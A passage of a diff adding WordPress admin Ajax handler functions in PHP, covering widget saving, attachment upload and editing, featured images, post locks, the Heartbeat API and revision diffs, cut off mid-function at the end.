+ * Ajax handler for saving the widgets order.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_widgets_order() {
+	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );
+
+	if ( !current_user_can('edit_theme_options') )
+		wp_die( -1 );
+
+	unset( $_POST['savewidgets'], $_POST['action'] );
+
+	// Save widgets order for all sidebars.
+	if ( is_array($_POST['sidebars']) ) {
+		$sidebars = array();
+		foreach ( wp_unslash( $_POST['sidebars'] ) as $key => $val ) {
+			$sb = array();
+			if ( !empty($val) ) {
+				$val = explode(',', $val);
+				foreach ( $val as $k => $v ) {
+					if ( strpos($v, 'widget-') === false )
+						continue;
+
+					$sb[$k] = substr($v, strpos($v, '_') + 1);
+				}
+			}
+			$sidebars[$key] = $sb;
+		}
+		wp_set_sidebars_widgets($sidebars);
+		wp_die( 1 );
+	}
+
+	wp_die( -1 );
+}
+
+/**
+ * Ajax handler for saving a widget.
+ *
+ * @since 3.1.0
+ *
+ * @global array $wp_registered_widgets
+ * @global array $wp_registered_widget_controls
+ * @global array $wp_registered_widget_updates
+ */
+function wp_ajax_save_widget() {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;
+
+	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );
+
+	if ( !current_user_can('edit_theme_options') || !isset($_POST['id_base']) )
+		wp_die( -1 );
+
+	unset( $_POST['savewidgets'], $_POST['action'] );
+
+	/**
+	 * Fires early when editing the widgets displayed in sidebars.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'load-widgets.php' );
+
+	/**
+	 * Fires early when editing the widgets displayed in sidebars.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'widgets.php' );
+
+	/** This action is documented in wp-admin/widgets.php */
+	do_action( 'sidebar_admin_setup' );
+
+	$id_base = wp_unslash( $_POST['id_base'] );
+	$widget_id = wp_unslash( $_POST['widget-id'] );
+	$sidebar_id = $_POST['sidebar'];
+	$multi_number = !empty($_POST['multi_number']) ? (int) $_POST['multi_number'] : 0;
+	$settings = isset($_POST['widget-' . $id_base]) && is_array($_POST['widget-' . $id_base]) ? $_POST['widget-' . $id_base] : false;
+	$error = '<p>' . __('An error has occurred. Please reload the page and try again.') . '</p>';
+
+	$sidebars = wp_get_sidebars_widgets();
+	$sidebar = isset($sidebars[$sidebar_id]) ? $sidebars[$sidebar_id] : array();
+
+	// Delete.
+	if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+
+		if ( !isset($wp_registered_widgets[$widget_id]) )
+			wp_die( $error );
+
+		$sidebar = array_diff( $sidebar, array($widget_id) );
+		$_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1');
+
+		/** This action is documented in wp-admin/widgets.php */
+		do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );
+
+	} elseif ( $settings && preg_match( '/__i__|%i%/', key($settings) ) ) {
+		if ( !$multi_number )
+			wp_die( $error );
+
+		$_POST[ 'widget-' . $id_base ] = array( $multi_number => reset( $settings ) );
+		$widget_id = $id_base . '-' . $multi_number;
+		$sidebar[] = $widget_id;
+	}
+	$_POST['widget-id'] = $sidebar;
+
+	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
+
+		if ( $name == $id_base ) {
+			if ( !is_callable( $control['callback'] ) )
+				continue;
+
+			ob_start();
+				call_user_func_array( $control['callback'], $control['params'] );
+			ob_end_clean();
+			break;
+		}
+	}
+
+	if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+		$sidebars[$sidebar_id] = $sidebar;
+		wp_set_sidebars_widgets($sidebars);
+		echo "deleted:$widget_id";
+		wp_die();
+	}
+
+	if ( !empty($_POST['add_new']) )
+		wp_die();
+
+	if ( $form = $wp_registered_widget_controls[$widget_id] )
+		call_user_func_array( $form['callback'], $form['params'] );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for saving a widget.
+ *
+ * @since 3.9.0
+ *
+ * @global WP_Customize_Manager $wp_customize
+ */
+function wp_ajax_update_widget() {
+	global $wp_customize;
+	$wp_customize->widgets->wp_ajax_update_widget();
+}
+
+/**
+ * Ajax handler for removing inactive widgets.
+ *
+ * @since 4.4.0
+ */
+function wp_ajax_delete_inactive_widgets() {
+	check_ajax_referer( 'remove-inactive-widgets', 'removeinactivewidgets' );
+
+	if ( ! current_user_can( 'edit_theme_options' ) ) {
+		wp_die( -1 );
+	}
+
+	unset( $_POST['removeinactivewidgets'], $_POST['action'] );
+	/** This action is documented in wp-admin/includes/ajax-actions.php */
+	do_action( 'load-widgets.php' );
+	/** This action is documented in wp-admin/includes/ajax-actions.php */
+	do_action( 'widgets.php' );
+	/** This action is documented in wp-admin/widgets.php */
+	do_action( 'sidebar_admin_setup' );
+
+	$sidebars_widgets = wp_get_sidebars_widgets();
+
+	foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) {
+		$pieces = explode( '-', $widget_id );
+		$multi_number = array_pop( $pieces );
+		$id_base = implode( '-', $pieces );
+		$widget = get_option( 'widget_' . $id_base );
+		unset( $widget[$multi_number] );
+		update_option( 'widget_' . $id_base, $widget );
+		unset( $sidebars_widgets['wp_inactive_widgets'][$key] );
+	}
+
+	wp_set_sidebars_widgets( $sidebars_widgets );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for uploading attachments
+ *
+ * @since 3.3.0
+ */
+function wp_ajax_upload_attachment() {
+	check_ajax_referer( 'media-form' );
+	/*
+	 * This function does not use wp_send_json_success() / wp_send_json_error()
+	 * as the html4 Plupload handler requires a text/html content-type for older IE.
+	 * See https://core.trac.wordpress.org/ticket/31037
+	 */
+
+	if ( ! current_user_can( 'upload_files' ) ) {
+		echo wp_json_encode( array(
+			'success' => false,
+			'data'    => array(
+				'message'  => __( 'Sorry, you are not allowed to upload files.' ),
+				'filename' => esc_html( $_FILES['async-upload']['name'] ),
+			)
+		) );
+
+		wp_die();
+	}
+
+	if ( isset( $_REQUEST['post_id'] ) ) {
+		$post_id = $_REQUEST['post_id'];
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			echo wp_json_encode( array(
+				'success' => false,
+				'data'    => array(
+					'message'  => __( 'Sorry, you are not allowed to attach files to this post.' ),
+					'filename' => esc_html( $_FILES['async-upload']['name'] ),
+				)
+			) );
+
+			wp_die();
+		}
+	} else {
+		$post_id = null;
+	}
+
+	$post_data = ! empty( $_REQUEST['post_data'] ) ? _wp_get_allowed_postdata( _wp_translate_postdata( false, (array) $_REQUEST['post_data'] ) ) : array();
+
+	if ( is_wp_error( $post_data ) ) {
+		wp_die( $post_data->get_error_message() );
+	}
+
+	// If the context is custom header or background, make sure the uploaded file is an image.
+	if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ) ) ) {
+		$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'] );
+		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
+			echo wp_json_encode( array(
+				'success' => false,
+				'data'    => array(
+					'message'  => __( 'The uploaded file is not a valid image. Please try again.' ),
+					'filename' => esc_html( $_FILES['async-upload']['name'] ),
+				)
+			) );
+
+			wp_die();
+		}
+	}
+
+	$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );
+
+	if ( is_wp_error( $attachment_id ) ) {
+		echo wp_json_encode( array(
+			'success' => false,
+			'data'    => array(
+				'message'  => $attachment_id->get_error_message(),
+				'filename' => esc_html( $_FILES['async-upload']['name'] ),
+			)
+		) );
+
+		wp_die();
+	}
+
+	if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) {
+		if ( 'custom-background' === $post_data['context'] )
+			update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] );
+
+		if ( 'custom-header' === $post_data['context'] )
+			update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] );
+	}
+
+	if ( ! $attachment = wp_prepare_attachment_for_js( $attachment_id ) )
+		wp_die();
+
+	echo wp_json_encode( array(
+		'success' => true,
+		'data'    => $attachment,
+	) );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for image editing.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_image_editor() {
+	$attachment_id = intval($_POST['postid']);
+	if ( empty($attachment_id) || !current_user_can('edit_post', $attachment_id) )
+		wp_die( -1 );
+
+	check_ajax_referer( "image_editor-$attachment_id" );
+	include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+	$msg = false;
+	switch ( $_POST['do'] ) {
+		case 'save' :
+			$msg = wp_save_image($attachment_id);
+			$msg = wp_json_encode($msg);
+			wp_die( $msg );
+			break;
+		case 'scale' :
+			$msg = wp_save_image($attachment_id);
+			break;
+		case 'restore' :
+			$msg = wp_restore_image($attachment_id);
+			break;
+	}
+
+	wp_image_editor($attachment_id, $msg);
+	wp_die();
+}
+
+/**
+ * Ajax handler for setting the featured image.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_set_post_thumbnail() {
+	$json = ! empty( $_REQUEST['json'] ); // New-style request
+
+	$post_ID = intval( $_POST['post_id'] );
+	if ( ! current_user_can( 'edit_post', $post_ID ) )
+		wp_die( -1 );
+
+	$thumbnail_id = intval( $_POST['thumbnail_id'] );
+
+	if ( $json )
+		check_ajax_referer( "update-post_$post_ID" );
+	else
+		check_ajax_referer( "set_post_thumbnail-$post_ID" );
+
+	if ( $thumbnail_id == '-1' ) {
+		if ( delete_post_thumbnail( $post_ID ) ) {
+			$return = _wp_post_thumbnail_html( null, $post_ID );
+			$json ? wp_send_json_success( $return ) : wp_die( $return );
+		} else {
+			wp_die( 0 );
+		}
+	}
+
+	if ( set_post_thumbnail( $post_ID, $thumbnail_id ) ) {
+		$return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID );
+		$json ? wp_send_json_success( $return ) : wp_die( $return );
+	}
+
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for retrieving HTML for the featured image.
+ *
+ * @since 4.6.0
+ */
+function wp_ajax_get_post_thumbnail_html() {
+	$post_ID = intval( $_POST['post_id'] );
+
+	check_ajax_referer( "update-post_$post_ID" );
+
+	if ( ! current_user_can( 'edit_post', $post_ID ) ) {
+		wp_die( -1 );
+	}
+
+	$thumbnail_id = intval( $_POST['thumbnail_id'] );
+
+	// For backward compatibility, -1 refers to no featured image.
+	if ( -1 === $thumbnail_id ) {
+		$thumbnail_id = null;
+	}
+
+	$return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID );
+	wp_send_json_success( $return );
+}
+
+/**
+ * Ajax handler for setting the featured image for an attachment.
+ *
+ * @since 4.0.0
+ *
+ * @see set_post_thumbnail()
+ */
+function wp_ajax_set_attachment_thumbnail() {
+	if ( empty( $_POST['urls'] ) || ! is_array( $_POST['urls'] ) ) {
+		wp_send_json_error();
+	}
+
+	$thumbnail_id = (int) $_POST['thumbnail_id'];
+	if ( empty( $thumbnail_id ) ) {
+		wp_send_json_error();
+	}
+
+	if ( false === check_ajax_referer( 'set-attachment-thumbnail', '_ajax_nonce', false ) ) {
+		wp_send_json_error();
+	}
+
+	$post_ids = array();
+	// For each URL, try to find its corresponding post ID.
+	foreach ( $_POST['urls'] as $url ) {
+		$post_id = attachment_url_to_postid( $url );
+		if ( ! empty( $post_id ) ) {
+			$post_ids[] = $post_id;
+		}
+	}
+
+	if ( empty( $post_ids ) ) {
+		wp_send_json_error();
+	}
+
+	$success = 0;
+	// For each found attachment, set its thumbnail.
+	foreach ( $post_ids as $post_id ) {
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			continue;
+		}
+
+		if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
+			$success++;
+		}
+	}
+
+	if ( 0 === $success ) {
+		wp_send_json_error();
+	} else {
+		wp_send_json_success();
+	}
+
+	wp_send_json_error();
+}
+
+/**
+ * Ajax handler for date formatting.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_date_format() {
+	wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) );
+}
+
+/**
+ * Ajax handler for time formatting.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_time_format() {
+	wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) );
+}
+
+/**
+ * Ajax handler for saving posts from the fullscreen editor.
+ *
+ * @since 3.1.0
+ * @deprecated 4.3.0
+ */
+function wp_ajax_wp_fullscreen_save_post() {
+	$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;
+
+	$post = null;
+
+	if ( $post_id )
+		$post = get_post( $post_id );
+
+	check_ajax_referer('update-post_' . $post_id, '_wpnonce');
+
+	$post_id = edit_post();
+
+	if ( is_wp_error( $post_id ) ) {
+		wp_send_json_error();
+	}
+
+	if ( $post ) {
+		$last_date = mysql2date( __( 'F j, Y' ), $post->post_modified );
+		$last_time = mysql2date( __( 'g:i a' ), $post->post_modified );
+	} else {
+		$last_date = date_i18n( __( 'F j, Y' ) );
+		$last_time = date_i18n( __( 'g:i a' ) );
+	}
+
+	if ( $last_id = get_post_meta( $post_id, '_edit_last', true ) ) {
+		$last_user = get_userdata( $last_id );
+		$last_edited = sprintf( __('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), $last_date, $last_time );
+	} else {
+		$last_edited = sprintf( __('Last edited on %1$s at %2$s'), $last_date, $last_time );
+	}
+
+	wp_send_json_success( array( 'last_edited' => $last_edited ) );
+}
+
+/**
+ * Ajax handler for removing a post lock.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_wp_remove_post_lock() {
+	if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) )
+		wp_die( 0 );
+	$post_id = (int) $_POST['post_ID'];
+	if ( ! $post = get_post( $post_id ) )
+		wp_die( 0 );
+
+	check_ajax_referer( 'update-post_' . $post_id );
+
+	if ( ! current_user_can( 'edit_post', $post_id ) )
+		wp_die( -1 );
+
+	$active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) );
+	if ( $active_lock[1] != get_current_user_id() )
+		wp_die( 0 );
+
+	/**
+	 * Filters the post lock window duration.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param int $interval The interval in seconds the post lock duration
+	 *                      should last, plus 5 seconds. Default 150.
+	 */
+	$new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1];
+	update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) );
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for dismissing a WordPress pointer.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_dismiss_wp_pointer() {
+	$pointer = $_POST['pointer'];
+	if ( $pointer != sanitize_key( $pointer ) )
+		wp_die( 0 );
+
+//	check_ajax_referer( 'dismiss-pointer_' . $pointer );
+
+	$dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) );
+
+	if ( in_array( $pointer, $dismissed ) )
+		wp_die( 0 );
+
+	$dismissed[] = $pointer;
+	$dismissed = implode( ',', $dismissed );
+
+	update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed );
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for getting an attachment.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_get_attachment() {
+	if ( ! isset( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	if ( ! $id = absint( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	if ( ! $post = get_post( $id ) )
+		wp_send_json_error();
+
+	if ( 'attachment' != $post->post_type )
+		wp_send_json_error();
+
+	if ( ! current_user_can( 'upload_files' ) )
+		wp_send_json_error();
+
+	if ( ! $attachment = wp_prepare_attachment_for_js( $id ) )
+		wp_send_json_error();
+
+	wp_send_json_success( $attachment );
+}
+
+/**
+ * Ajax handler for querying attachments.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_query_attachments() {
+	if ( ! current_user_can( 'upload_files' ) )
+		wp_send_json_error();
+
+	$query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array();
+	$keys = array(
+		's', 'order', 'orderby', 'posts_per_page', 'paged', 'post_mime_type',
+		'post_parent', 'author', 'post__in', 'post__not_in', 'year', 'monthnum'
+	);
+	foreach ( get_taxonomies_for_attachments( 'objects' ) as $t ) {
+		if ( $t->query_var && isset( $query[ $t->query_var ] ) ) {
+			$keys[] = $t->query_var;
+		}
+	}
+
+	$query = array_intersect_key( $query, array_flip( $keys ) );
+	$query['post_type'] = 'attachment';
+	if ( MEDIA_TRASH
+		&& ! empty( $_REQUEST['query']['post_status'] )
+		&& 'trash' === $_REQUEST['query']['post_status'] ) {
+		$query['post_status'] = 'trash';
+	} else {
+		$query['post_status'] = 'inherit';
+	}
+
+	if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) )
+		$query['post_status'] .= ',private';
+
+	// Filter query clauses to include filenames.
+	if ( isset( $query['s'] ) ) {
+		add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
+	}
+
+	/**
+	 * Filters the arguments passed to WP_Query during an Ajax
+	 * call for querying attachments.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @see WP_Query::parse_query()
+	 *
+	 * @param array $query An array of query variables.
+	 */
+	$query = apply_filters( 'ajax_query_attachments_args', $query );
+	$query = new WP_Query( $query );
+
+	$posts = array_map( 'wp_prepare_attachment_for_js', $query->posts );
+	$posts = array_filter( $posts );
+
+	wp_send_json_success( $posts );
+}
+
+/**
+ * Ajax handler for updating attachment attributes.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_save_attachment() {
+	if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) )
+		wp_send_json_error();
+
+	if ( ! $id = absint( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	check_ajax_referer( 'update-post_' . $id, 'nonce' );
+
+	if ( ! current_user_can( 'edit_post', $id ) )
+		wp_send_json_error();
+
+	$changes = $_REQUEST['changes'];
+	$post    = get_post( $id, ARRAY_A );
+
+	if ( 'attachment' != $post['post_type'] )
+		wp_send_json_error();
+
+	if ( isset( $changes['parent'] ) )
+		$post['post_parent'] = $changes['parent'];
+
+	if ( isset( $changes['title'] ) )
+		$post['post_title'] = $changes['title'];
+
+	if ( isset( $changes['caption'] ) )
+		$post['post_excerpt'] = $changes['caption'];
+
+	if ( isset( $changes['description'] ) )
+		$post['post_content'] = $changes['description'];
+
+	if ( MEDIA_TRASH && isset( $changes['status'] ) )
+		$post['post_status'] = $changes['status'];
+
+	if ( isset( $changes['alt'] ) ) {
+		$alt = wp_unslash( $changes['alt'] );
+		if ( $alt != get_post_meta( $id, '_wp_attachment_image_alt', true ) ) {
+			$alt = wp_strip_all_tags( $alt, true );
+			update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) );
+		}
+	}
+
+	if ( wp_attachment_is( 'audio', $post['ID'] ) ) {
+		$changed = false;
+		$id3data = wp_get_attachment_metadata( $post['ID'] );
+		if ( ! is_array( $id3data ) ) {
+			$changed = true;
+			$id3data = array();
+		}
+		foreach ( wp_get_attachment_id3_keys( (object) $post, 'edit' ) as $key => $label ) {
+			if ( isset( $changes[ $key ] ) ) {
+				$changed = true;
+				$id3data[ $key ] = sanitize_text_field( wp_unslash( $changes[ $key ] ) );
+			}
+		}
+
+		if ( $changed ) {
+			wp_update_attachment_metadata( $id, $id3data );
+		}
+	}
+
+	if ( MEDIA_TRASH && isset( $changes['status'] ) && 'trash' === $changes['status'] ) {
+		wp_delete_post( $id );
+	} else {
+		wp_update_post( $post );
+	}
+
+	wp_send_json_success();
+}
+
+/**
+ * Ajax handler for saving backward compatible attachment attributes.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_save_attachment_compat() {
+	if ( ! isset( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	if ( ! $id = absint( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) )
+		wp_send_json_error();
+	$attachment_data = $_REQUEST['attachments'][ $id ];
+
+	check_ajax_referer( 'update-post_' . $id, 'nonce' );
+
+	if ( ! current_user_can( 'edit_post', $id ) )
+		wp_send_json_error();
+
+	$post = get_post( $id, ARRAY_A );
+
+	if ( 'attachment' != $post['post_type'] )
+		wp_send_json_error();
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data );
+
+	if ( isset( $post['errors'] ) ) {
+		$errors = $post['errors']; // @todo return me and display me!
+		unset( $post['errors'] );
+	}
+
+	wp_update_post( $post );
+
+	foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
+		if ( isset( $attachment_data[ $taxonomy ] ) )
+			wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false );
+	}
+
+	if ( ! $attachment = wp_prepare_attachment_for_js( $id ) )
+		wp_send_json_error();
+
+	wp_send_json_success( $attachment );
+}
+
+/**
+ * Ajax handler for saving the attachment order.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_save_attachment_order() {
+	if ( ! isset( $_REQUEST['post_id'] ) )
+		wp_send_json_error();
+
+	if ( ! $post_id = absint( $_REQUEST['post_id'] ) )
+		wp_send_json_error();
+
+	if ( empty( $_REQUEST['attachments'] ) )
+		wp_send_json_error();
+
+	check_ajax_referer( 'update-post_' . $post_id, 'nonce' );
+
+	$attachments = $_REQUEST['attachments'];
+
+	if ( ! current_user_can( 'edit_post', $post_id ) )
+		wp_send_json_error();
+
+	foreach ( $attachments as $attachment_id => $menu_order ) {
+		if ( ! current_user_can( 'edit_post', $attachment_id ) )
+			continue;
+		if ( ! $attachment = get_post( $attachment_id ) )
+			continue;
+		if ( 'attachment' != $attachment->post_type )
+			continue;
+
+		wp_update_post( array( 'ID' => $attachment_id, 'menu_order' => $menu_order ) );
+	}
+
+	wp_send_json_success();
+}
+
+/**
+ * Ajax handler for sending an attachment to the editor.
+ *
+ * Generates the HTML to send an attachment to the editor.
+ * Backward compatible with the {@see 'media_send_to_editor'} filter
+ * and the chain of filters that follow.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_send_attachment_to_editor() {
+	check_ajax_referer( 'media-send-to-editor', 'nonce' );
+
+	$attachment = wp_unslash( $_POST['attachment'] );
+
+	$id = intval( $attachment['id'] );
+
+	if ( ! $post = get_post( $id ) )
+		wp_send_json_error();
+
+	if ( 'attachment' != $post->post_type )
+		wp_send_json_error();
+
+	if ( current_user_can( 'edit_post', $id ) ) {
+		// If this attachment is unattached, attach it. Primarily a back compat thing.
+		if ( 0 == $post->post_parent && $insert_into_post_id = intval( $_POST['post_id'] ) ) {
+			wp_update_post( array( 'ID' => $id, 'post_parent' => $insert_into_post_id ) );
+		}
+	}
+
+	$url = empty( $attachment['url'] ) ? '' : $attachment['url'];
+	$rel = ( strpos( $url, 'attachment_id') || get_attachment_link( $id ) == $url );
+
+	remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' );
+
+	if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) {
+		$align = isset( $attachment['align'] ) ? $attachment['align'] : 'none';
+		$size = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
+		$alt = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
+
+		// No whitespace-only captions.
+		$caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : '';
+		if ( '' === trim( $caption ) ) {
+			$caption = '';
+		}
+
+		$title = ''; // We no longer insert title tags into <img> tags, as they are redundant.
+		$html = get_image_send_to_editor( $id, $caption, $title, $align, $url, $rel, $size, $alt );
+	} elseif ( wp_attachment_is( 'video', $post ) || wp_attachment_is( 'audio', $post )  ) {
+		$html = stripslashes_deep( $_POST['html'] );
+	} else {
+		$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
+		$rel = $rel ? ' rel="attachment wp-att-' . $id . '"' : ''; // Hard-coded string, $id is already sanitized
+
+		if ( ! empty( $url ) ) {
+			$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
+		}
+	}
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$html = apply_filters( 'media_send_to_editor', $html, $id, $attachment );
+
+	wp_send_json_success( $html );
+}
+
+/**
+ * Ajax handler for sending a link to the editor.
+ *
+ * Generates the HTML to send a non-image embed link to the editor.
+ *
+ * Backward compatible with the following filters:
+ * - file_send_to_editor_url
+ * - audio_send_to_editor_url
+ * - video_send_to_editor_url
+ *
+ * @since 3.5.0
+ *
+ * @global WP_Post  $post
+ * @global WP_Embed $wp_embed
+ */
+function wp_ajax_send_link_to_editor() {
+	global $post, $wp_embed;
+
+	check_ajax_referer( 'media-send-to-editor', 'nonce' );
+
+	if ( ! $src = wp_unslash( $_POST['src'] ) )
+		wp_send_json_error();
+
+	if ( ! strpos( $src, '://' ) )
+		$src = 'http://' . $src;
+
+	if ( ! $src = esc_url_raw( $src ) )
+		wp_send_json_error();
+
+	if ( ! $link_text = trim( wp_unslash( $_POST['link_text'] ) ) )
+		$link_text = wp_basename( $src );
+
+	$post = get_post( isset( $_POST['post_id'] ) ? $_POST['post_id'] : 0 );
+
+	// Ping WordPress for an embed.
+	$check_embed = $wp_embed->run_shortcode( '[embed]'. $src .'[/embed]' );
+
+	// Fallback that WordPress creates when no oEmbed was found.
+	$fallback = $wp_embed->maybe_make_link( $src );
+
+	if ( $check_embed !== $fallback ) {
+		// TinyMCE view for [embed] will parse this
+		$html = '[embed]' . $src . '[/embed]';
+	} elseif ( $link_text ) {
+		$html = '<a href="' . esc_url( $src ) . '">' . $link_text . '</a>';
+	} else {
+		$html = '';
+	}
+
+	// Figure out what filter to run:
+	$type = 'file';
+	if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) )
+		&& ( 'audio' == $ext_type || 'video' == $ext_type ) )
+			$type = $ext_type;
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$html = apply_filters( "{$type}_send_to_editor_url", $html, $src, $link_text );
+
+	wp_send_json_success( $html );
+}
+
+/**
+ * Ajax handler for the Heartbeat API.
+ *
+ * Runs when the user is logged in.
+ *
+ * @since 3.6.0
+ */
+function wp_ajax_heartbeat() {
+	if ( empty( $_POST['_nonce'] ) ) {
+		wp_send_json_error();
+	}
+
+	$response = $data = array();
+	$nonce_state = wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' );
+
+	// screen_id is the same as $current_screen->id and the JS global 'pagenow'.
+	if ( ! empty( $_POST['screen_id'] ) ) {
+		$screen_id = sanitize_key($_POST['screen_id']);
+	} else {
+		$screen_id = 'front';
+	}
+
+	if ( ! empty( $_POST['data'] ) ) {
+		$data = wp_unslash( (array) $_POST['data'] );
+	}
+
+	if ( 1 !== $nonce_state ) {
+		$response = apply_filters( 'wp_refresh_nonces', $response, $data, $screen_id );
+
+		if ( false === $nonce_state ) {
+			// User is logged in but nonces have expired.
+			$response['nonces_expired'] = true;
+			wp_send_json( $response );
+		}
+	}
+
+	if ( ! empty( $data ) ) {
+		/**
+		 * Filters the Heartbeat response received.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param array  $response  The Heartbeat response.
+		 * @param array  $data      The $_POST data sent.
+		 * @param string $screen_id The screen id.
+		 */
+		$response = apply_filters( 'heartbeat_received', $response, $data, $screen_id );
+	}
+
+	/**
+	 * Filters the Heartbeat response sent.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array  $response  The Heartbeat response.
+	 * @param string $screen_id The screen id.
+	 */
+	$response = apply_filters( 'heartbeat_send', $response, $screen_id );
+
+	/**
+	 * Fires when Heartbeat ticks in logged-in environments.
+	 *
+	 * Allows the transport to be easily replaced with long-polling.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array  $response  The Heartbeat response.
+	 * @param string $screen_id The screen id.
+	 */
+	do_action( 'heartbeat_tick', $response, $screen_id );
+
+	// Send the current time according to the server
+	$response['server_time'] = time();
+
+	wp_send_json( $response );
+}
+
+/**
+ * Ajax handler for getting revision diffs.
+ *
+ * @since 3.6.0
+ */
+function wp_ajax_get_revision_diffs() {
+	require ABSPATH . 'wp-admin/includes/revision.php';
+
+	if ( ! $post = get_post( (int) $_REQUEST['post_id'] ) )
+		wp_send_json_error();
+
+	if ( ! current_user_can( 'edit_post', $post->ID ) )
+		wp_send_json_error();
+
+	// Really just pre-loading the cache here.
+	if ( ! $revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) ) )
+		wp_send_json_error();
+
+	$return = array();
+	@set_time_limit( 0 );
+
+	foreach ( $_REQUEST['compare'] as $compare_key ) {
+		list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to
+
+		$return[] = array(
+			'id' => $compare_key,
+			'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ),
+		);
+	}
+	wp_send_json_success( $return );
+}
+
+/**
+ * Ajax handler for auto-saving the selected color scheme for
+ * a user's own profile.
+ *
+ * @since 3.8.0
+ *
+ * @global array $_wp_admin_css_colors
+ */
+function wp_ajax_save_user_color_scheme() {
+	global $_wp_admin_css_colors;
+
+	check_ajax_referer( 'save-color-scheme', 'nonce' );
+
+	$color_scheme = sanitize_key( $_POST['color_scheme'] );
+
+	if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) {
+		wp_send_json_error();
+	}
+
+	$previous_color_scheme = get_user_meta( get_current_user_id(), 'admin_color', true );
